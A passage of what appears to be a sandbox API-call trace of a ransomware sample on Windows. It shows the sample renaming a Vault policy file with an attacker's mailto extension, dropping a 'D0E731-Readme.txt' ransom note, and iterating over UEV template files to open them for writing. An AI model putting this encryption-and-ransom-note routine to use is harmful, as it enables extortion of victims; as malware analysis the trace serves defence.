Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.657] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.657] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5ad8) returned 1 [0079.657] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol", dwFileAttributes=0x20) returned 0 [0079.657] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430c80 [0079.657] wcscpy (in: _Dest=0x3430c80, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0079.657] wcscat (in: _Dest=0x3430c80, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\D0E731-Readme.txt" [0079.657] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\d0e731-readme.txt")) returned 0x20 [0079.658] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430c80) returned 1 [0079.658] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f15c0) returned 1 [0079.658] RtlExitUserThread (Status=0x1) Thread: id = 934 os_tid = 0x159c [0079.659] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml")) returned 0x20 [0079.661] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", dwFileAttributes=0x20) returned 0 [0079.661] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.662] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", dwFileAttributes=0x20) returned 0 [0079.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c750) returned 1 [0079.662] RtlExitUserThread (Status=0x0) Thread: id = 935 os_tid = 0x15a0 [0079.663] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml")) returned 0x20 [0079.664] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", dwFileAttributes=0x20) returned 0 [0079.664] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.664] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", dwFileAttributes=0x20) returned 0 [0079.665] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6a68) returned 1 [0079.665] RtlExitUserThread (Status=0x0) Thread: id = 936 os_tid = 0x15a4 [0079.666] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml")) returned 0x20 [0079.667] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", dwFileAttributes=0x20) returned 0 [0079.668] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.668] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", dwFileAttributes=0x20) returned 0 [0079.668] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1300) returned 1 [0079.668] RtlExitUserThread (Status=0x0) Thread: id = 937 os_tid = 0x15a8 [0079.669] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml")) returned 0x20 [0079.669] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", dwFileAttributes=0x20) returned 0 [0079.670] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.670] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", dwFileAttributes=0x20) returned 0 [0079.670] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0079.670] RtlExitUserThread (Status=0x0) Thread: id = 938 os_tid = 0x15ac [0079.671] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml")) returned 0x20 [0079.671] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", dwFileAttributes=0x20) returned 0 [0079.671] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.672] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", dwFileAttributes=0x20) returned 0 [0079.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bad8) returned 1 [0079.672] RtlExitUserThread (Status=0x0) Thread: id = 939 os_tid = 0x15b0 [0079.673] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml")) returned 0x20 [0079.674] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", dwFileAttributes=0x20) returned 0 [0079.674] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.674] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", dwFileAttributes=0x20) returned 0 [0079.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eac30) returned 1 [0079.674] RtlExitUserThread (Status=0x0) Thread: id = 940 os_tid = 0x15b4 [0079.676] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml")) returned 0x20 [0079.676] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", dwFileAttributes=0x20) returned 0 [0079.676] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.676] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", dwFileAttributes=0x20) returned 0 [0079.676] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaeb0) returned 1 [0079.676] RtlExitUserThread (Status=0x0) Thread: id = 941 os_tid = 0x15b8 [0079.678] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml")) returned 0x20 [0079.678] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", dwFileAttributes=0x20) returned 0 [0079.678] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.678] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", dwFileAttributes=0x20) returned 0 [0079.678] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bf00) returned 1 [0079.678] RtlExitUserThread (Status=0x0) Thread: id = 942 os_tid = 0x15bc [0079.680] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml")) returned 0x20 [0079.680] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", dwFileAttributes=0x20) returned 0 [0079.680] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.680] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", dwFileAttributes=0x20) returned 0 [0079.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6b10) returned 1 [0079.680] RtlExitUserThread (Status=0x0) Thread: id = 943 os_tid = 0x15c0 [0079.684] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml")) returned 0x20 [0079.685] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", dwFileAttributes=0x20) returned 0 [0079.685] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.685] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", dwFileAttributes=0x20) returned 0 [0079.685] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5fe8) returned 1 [0079.685] RtlExitUserThread (Status=0x0) Thread: id = 944 os_tid = 0x15c4 [0079.686] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml")) returned 0x20 [0079.686] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", dwFileAttributes=0x20) returned 0 [0079.687] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.687] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", dwFileAttributes=0x20) returned 0 [0079.687] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f13b0) returned 1 [0079.687] RtlExitUserThread (Status=0x0) Thread: id = 945 os_tid = 0x15c8 [0079.688] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml")) returned 0x20 [0079.688] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", dwFileAttributes=0x20) returned 0 [0079.688] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.688] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", dwFileAttributes=0x20) returned 0 [0079.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1250) returned 1 [0079.688] RtlExitUserThread (Status=0x0) Thread: id = 946 os_tid = 0x15cc [0079.689] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml")) returned 0x20 [0079.689] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", dwFileAttributes=0x20) returned 0 [0079.690] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.690] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", dwFileAttributes=0x20) returned 0 [0079.690] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34281f0) returned 1 [0079.690] RtlExitUserThread (Status=0x0) Thread: id = 947 os_tid = 0x15d0 [0079.691] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml")) returned 0x20 [0079.692] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", dwFileAttributes=0x20) returned 0 [0079.692] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.692] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", dwFileAttributes=0x20) returned 0 [0079.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428a90) returned 1 [0079.692] RtlExitUserThread (Status=0x0) Thread: id = 948 os_tid = 0x15d4 [0079.694] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml")) returned 0x20 [0079.694] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", dwFileAttributes=0x20) returned 0 [0079.695] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.695] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", dwFileAttributes=0x20) returned 0 [0079.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e69c0) returned 1 [0079.695] RtlExitUserThread (Status=0x0) Thread: id = 949 os_tid = 0x15d8 [0079.697] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml")) returned 0x20 [0079.697] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", dwFileAttributes=0x20) returned 0 [0079.697] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.697] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", dwFileAttributes=0x20) returned 0 [0079.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6288) returned 1 [0079.697] RtlExitUserThread (Status=0x0) Thread: id = 950 os_tid = 0x15dc [0079.698] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml")) returned 0x20 [0079.699] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", dwFileAttributes=0x20) returned 0 [0079.699] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.699] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", dwFileAttributes=0x20) returned 0 [0079.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1460) returned 1 [0079.699] RtlExitUserThread (Status=0x0) Thread: id = 951 os_tid = 0x15e0 [0079.700] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml")) returned 0x20 [0079.701] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", dwFileAttributes=0x20) returned 0 [0079.701] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.702] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", dwFileAttributes=0x20) returned 0 [0079.702] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f08b0) returned 1 [0079.702] RtlExitUserThread (Status=0x0) Thread: id = 952 os_tid = 0x15e4 [0079.703] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml")) returned 0x20 [0079.703] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", dwFileAttributes=0x20) returned 0 [0079.703] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.703] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", dwFileAttributes=0x20) returned 0 [0079.703] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0079.703] RtlExitUserThread (Status=0x0) Thread: id = 953 os_tid = 0x15e8 [0079.704] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml")) returned 0x20 [0079.705] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", dwFileAttributes=0x20) returned 0 [0079.705] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.705] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", dwFileAttributes=0x20) returned 0 [0079.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6138) returned 1 [0079.705] RtlExitUserThread (Status=0x0) Thread: id = 954 os_tid = 0x15ec [0079.707] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml")) returned 0x20 [0079.707] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", dwFileAttributes=0x20) returned 0 [0079.707] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.707] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", dwFileAttributes=0x20) returned 0 [0079.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6090) returned 1 [0079.707] RtlExitUserThread (Status=0x0) Thread: id = 955 os_tid = 0x15f0 [0079.709] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml")) returned 0x20 [0079.710] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", dwFileAttributes=0x20) returned 0 [0079.710] 